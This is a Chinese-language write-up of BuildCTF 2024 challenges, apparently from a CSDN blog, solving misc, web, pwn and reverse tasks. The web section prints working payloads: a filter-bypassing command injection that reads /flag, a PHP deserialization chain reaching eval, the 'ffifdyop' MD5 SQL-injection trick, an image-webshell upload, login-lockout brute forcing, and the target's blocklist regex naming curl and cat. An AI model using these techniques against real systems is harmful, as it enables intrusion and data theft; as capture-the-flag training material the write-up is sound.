2024 BuildCTF WP

MISC
what is this?

二进制转ASCII

搜索到类似的题套用脚本

摩斯解密

 

一念愚即般若绝,一念智即般若生

阴阳怪气解码

解压文件是个佛曰解密

在天书解密

Base58解码

 

别真给我开盒了哥

直接问gpt京德高速旁边德铁路是什么

一个一个试试

需要全中文这个是BuildCTF{津保铁路}

老色批

使用stegsolve工具,有一个bsae编码把它解码

食不食油饼

需要把这个解密

使用工具得出一个编码给他解密

一个图片和一个加密的文本

使用工具直接梭哈

单图盲水印

还是一个编码

随波逐流一下

如果再来一次,还会选择我吗?

一个图片损坏

把损坏的图片放到winhex中查看,可以看到文件头不对每两个十六进制被调换了位置

使用python脚本恢复

def swap_hex_pairs(file_path):

    with open("D://脚本//password.png", 'rb') as f:

        data = f.read()

    hex_list = [hex(byte)[2:].zfill(2) for byte in data]

    new_hex_list = []

    for i in range(0, len(hex_list), 2):

        if i + 1 < len(hex_list):

            new_hex_list.append(hex_list[i + 1])

            new_hex_list.append(hex_list[i])

        else:

            new_hex_list.append(hex_list[i])

    return " ".join(new_hex_list)

def hex_to_binary(hex_str):

    binary = ""

    for hex_char in hex_str.split():

        decimal_value = int(hex_char, 16)

        binary += format(decimal_value, '08b')

    return binary

file_path = " password.png "

result_hex = swap_hex_pairs("D://脚本")

result_binary = hex_to_binary(result_hex)

new_file_path = "result.png"

with open(new_file_path, 'wb') as new_file:

 new_file.write(bytearray(int(result_binary[i:i+8], 2) for i in range(0, len(result_binary), 8)))

得出密码  8!67adz6

一个条形码被涂上了,直接使用条形码工具

key:wo_bu_shi_xiao_hei_zi!!!

解压后得到base64编码

使用赛博厨师帽进行解密,base64套娃

四妹,你听我解释

使用工具梭哈

这个是后部分的,在把图片放到kali中使用binwalk进行分离

分离出的直接使用cat查看

在进行解密

白白的真好看

附件

0000000.txt一眼0宽

Flag2:_wh1t3_y0u_s33

docx文件打开是空白

打开这个

然后全选加个颜色

Flag1:BuildCTF{Th3_wh1t3

开始找第三段

汉信码识别不出有用的东西但这个命名有用

回复得到

Snow.txt

想到snow隐写

使用snow隐写工具输入命令

得到第三部分flag

合并得到flag:BuildCTF{Th3_wh1t3_wh1t3_y0u_s33_1s_n0t_wh1t3}

Guesscoin

nc连接

笨办法一直猜一面,累计对60次获得flag

EZ_ZIP

解压附件

得到一张二维码

Binwalk分离出zip

发现是套中套使用连点器点出flag

有黑客!!!

下载附件解压后是一个.pacpng文件,wireshark打开进行流量分析

发现可以流量

进行base64解码

网上搜索发现是哥斯拉的流量

然后利用NetA流量分工具一键梭哈哥斯拉流量得到flag

WEB
find-the-id

根据提示抓包爆破1-300的整数

我写的网站被rce了?

开题

全是管理面板,尝试过扫描目录没有东西扫不了

于是对每个选项都进行了抓包,因为抓的包都关掉了就不截图了,最后其实可以有回显得只有日志和进程这两个包,进程包发现不管传入什么都只会返回当前进程,最后发现注入点肯定在日志包

也进一步说明了注入点就在这

让GPT写了个字典进行fuzz测试

经过简单fuzz测试

0-9和%*+;<>.大致不能使用

因为最后回显到页面上得是文字所以log_type背后的逻辑一定是一个文件读取命令

既然是文件读取命令那我们如果要进行RCE得话那就不能让他成功执行想到了使用||进行环境分割

测试cat很明显被禁止了

转义试试然后一般网页的页面都是index.php尝试获取背后逻辑

获取到逻辑

function getCPUUsage() {

$load = sys_getloadavg();

return $load[0];

}

function uptime(){

$output = shell_exec("uptime");

return htmlspecialchars($output);

}

function getPHPVersion() {

return phpversion();

}

function getPythonVersion() {

$output = shell_exec("python --version 2>&1");

return htmlspecialchars($output);

}

function getMySQLVersion() {

$output = shell_exec("mysql --version 2>&1");

return htmlspecialchars($output);

}

function getNginxVersion() {

$output = shell_exec("nginx -v 2>&1");

return htmlspecialchars($output);

}

function getKernelVersion() {

$output = shell_exec("uname -r 2>&1");

return htmlspecialchars($output);

}

function updateSystem() {

return "更新成功";

}

function checkuser(){

return "功能正在开发";

}

function adduser(){

return "功能正在开发";

}

function addadmin(){

return "功能正在开发";

}

function changuser(){

return "功能正在开发";

}

function backup_logs() {

return "备份成功!";

}

function ps() {

system("ps -a");

return "查看成功!";

}

function getLogs($logType) {

$logFile = '/var/log/nginx/' . $logType . '.log' ;

if (!preg_match("/;|&|\*|[0-9]|php|\.|flag|cat|more|less|head|sort|tail|sed|cut|awk|tac|strings|\<|\>| |od|curl|\%|\x09|\x26/i",$logType)){

if ($logType != "access"){

echo "$logFile".'该文件路径错误或不合法,请查看路径是否正确';

}

else{

echo "nginx日志查看成功\n";

echo "\n";

}

$logContent = system("cat $logFile");

echo $logContent;

}

else{

echo "有hacker!!!!你要不要看看你在输入什么?????";

}

}

$uptime = uptime();

$phpVersion = getPHPVersion();

$pythonVersion = getPythonVersion(); // Get Python version

$mysqlVersion = getMySQLVersion(); // Get MySQL version

$nginxVersion = getNginxVersion(); // Get Nginx version

$kernelVersion = getKernelVersion(); // Get kernel version

?>

提取逻辑

if (!preg_match("/;|&|\*|[0-9]|php|\.|flag|cat|more|less|head|sort|tail|sed|cut|awk|tac|strings|\<|\>| |od|curl|\%|\x09|\x26/i",$logType)){

if ($logType != "access"){

echo "$logFile".'该文件路径错误或不合法,请查看路径是否正确';

}

else{

echo "nginx日志查看成功\n";

echo "\n";

}

$logContent = system("cat $logFile");

echo $logContent;

}

else{

echo "有hacker!!!!你要不要看看你在输入什么?????";

}

尝试绕过进行命令执行

参考队友提供的笔记学到新东西了,结合waf进行修改

成功执行命令

log_type=||/bin/[l]s${IFS}/||

在根目录下发现flag

成功命令执行

log_type=||ca\t${IFS}/fla?||

BuildCTF{d5ced117-1c91-439b-95a6-c2aebbd2a7c5}

LovePopChain

<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
    public function __wakeup()
    {
        if($this->NoLove == "Do_You_Want_Fl4g?"){
            echo 'Love but not getting it!!';
        }
    }
    public function __invoke()
    {
        $this->Forgzy = clone new GaoZhouYue();
    }
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
    public function __clone()
    {
        echo '最后一次了, 爱而不得, 未必就是遗憾~~';
        eval($_POST['y3y4']);
    }
}

class hybcx{
    public $JiuYue;
    public $Si;

    public function __call($fun1,$arg){
        $this->Si->JiuYue=$arg[0];
    }

    public function __toString(){
        $ai = $this->Si;
        echo 'I W1ll remember you';
        return $ai();
    }
}



if(isset($_GET['No_Need.For.Love'])){
    @unserialize($_GET['No_Need.For.Love']);
}else{
    highlight_file(__FILE__);
}

首先贴个代码,其次传入的是非法变量名

_要改成[,+之类的

分析链子,一开始走错了走了call链子发现属性重复了走不通,然后回头看直接走了tostring

然后直接传Myobject类调用invoke方法即可

<?php

class MyObject {

    public $NoLove ;

    public $Forgzy;

}

class hybcx {

    public $JiuYue;

    public $Si;

  

}

$a=new MyObject();

$b=new hybcx();

$a->NoLove=$b;

$b->Si=new MyObject();

echo serialize($a);

O:8:"MyObject":2:{s:6:"NoLove";O:5:"hybcx":2:{s:6:"JiuYue";N;s:2:"Si";O:8:"MyObject":2:{s:6:"NoLove";N;s:6:"Forgzy";N;}}s:6:"Forgzy";N;}

传入http://27.25.151.80:37734/?No[Need.For.Love=O:8:"MyObject":2:{s:6:"NoLove";O:5:"hybcx":2:{s:6:"JiuYue";N;s:2:"Si";O:8:"MyObject":2:{s:6:"NoLove";N;s:6:"Forgzy";N;}}s:6:"Forgzy";N;}

POST正常传参即可

获取flag

RedFlag

打开环境

一眼SSTI,测试发现存在

网上有类似的题:https://cloud.tencent.com/developer/article/2130787

直接用就出了

ez!http

进入环境

伪造地址

挨个伪造最终得到flag

ez_md5

进入环境

$password=$_POST['password'];

$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";

$result=mysqli_query($link,$sql);

if(mysqli_num_rows($result)>0){

    echo 'flag is :'.$flag;

}

else{

    echo '密码错误!';

}

看到这里的提交参数被MD5再组合进SQL查询语句,导致常规的注入手段几乎都失效了

但是注意到,MD5之后是hex格式,转化到字符串时如果出现'or'xxxx的形式,就会导致注入

这里提供一个抄来的字符串:ffifdyop

md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c

转成字符串为'or'6�]��!r,��b

从而完成了注入

以上。

参考文章:https://blog.csdn.net/qq_24810241/article/details/79908449

直接注入

进入正题

Request首先要明白是post和get和cookie,一开始我发现第一层绕过不是有cooie的原因我是用burpsuit删除了cookie

进入正题

Request首先要明白是post和get和cookie,一开始我发现第一层绕过不是有cooie的原因我是用burpsuit删除了cookie

这是最后的传参结果,有提示robot,md5值是用robot里面的提示

level2

md5(114514xxxxxxx)

进行爆破出来的

爆破脚本

import hashlib

import itertools

import string

# 已知的前缀

prefix = "114514"

# 目标MD5哈希值

target_hash = "3e41f780146b6c246cd49dd296a3da28"

# 暴力破解的字符集(假设未知部分是由数字组成的)

charset = string.digits  # 如果你猜测未知部分是字母或其他字符,可以调整字符集

# 尝试7位的所有组合

for candidate in itertools.product(charset, repeat=7):

    # 构造完整的字符串

    test_string = prefix + ''.join(candidate)

    # 计算该字符串的MD5值

    md5_hash = hashlib.md5(test_string.encode()).hexdigest()

    # 比较MD5值是否与目标哈希相同

    if md5_hash == target_hash:

        print(f"找到匹配的字符串: {test_string}")

        break

else:

    print("未找到匹配的字符串")

tflock

进入环境

F12查看得到forgot-password.php访问一下

robots协议搜索到

访问得到ctfer账号和密码123456

admin但密码不知道

还有一个密码本

登录ctfer得到关键信息

然后登admin用给的密码本爆破试试

但是输错三次就被锁定了

思路中断

队中的师傅突然试出一个类似与卡bug的方法

就是在登录错误两次的情况下返回登录ctfer这个账号会重置admin登录错误的次数

根据这个思路一直往下,用burp抓包爆破

对ctfer这个包进行无限重发

在修改用户爆破admin的密码设置间隔

爆出密码

登录得到flag

Babyupload

进入环境

找到上传点

上传发现抓包改格式能上传.htaccess文件

然后绕过滤上传图片马

访问

连接

没找到flag,想到可能在环境变量

刮刮乐

进入环境

F12查看发现可以利用cmd传参

我们传个flag得到回显

然后伪造

接着想如何显示flag,队友想到外带的方式

但是没啥反响

接着队友构造出tac+/flag tee+1.txt;sleep+5

利用反向读取/flag的内容写道指定的1.txt文件中然后暂停5秒

回显了flag

Cookie_Factory

进入环境

发现f12被禁用了,发现可以用浏览器三个杠中的打开开发者工具能查看源码

Ai分析了js文件发现可以作弊利用下面这个图片上的最多弄到10000000000000000000

然后在一直传会闪出flag,我通过快捷截图截图到flag

PWN

我要成为沙威玛传奇

直接nc 连接

一直当小偷

偷够差不多600多个金币;直接购买100个沙威玛

然后直接输入2吃掉所有

这样就可以执行Linux命令了

直接 cat  flag

touch heart

简单的绕过字符

直接是s\h即可

Reverse

晴窗细乳戏分茶

首先进行了两次加密,然后判断得到的结果是否与flag相同。给定了加密后的结果和密钥,首先分析第一个加密函数,发现它是常见的TEA加密,使用的 delta 值是 0x9E3779B9,进行了32轮加密。可以直接用enc和key编写脚本进行解密,从而得到flag的前半部分。

第二个加密函数看起来像是XTEA加密,我之前接触得不多。需要搞清楚加密过程,编写对应的解密函数,传入enc和key,最终解出flag的后半部分

pyc

下载附件发现是一个pyc文件

直接用uncompyle6.exe.文件命令

拿到源码,编写脚本

BuildCTF{pcy_1s_eaey_for_Y0u}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值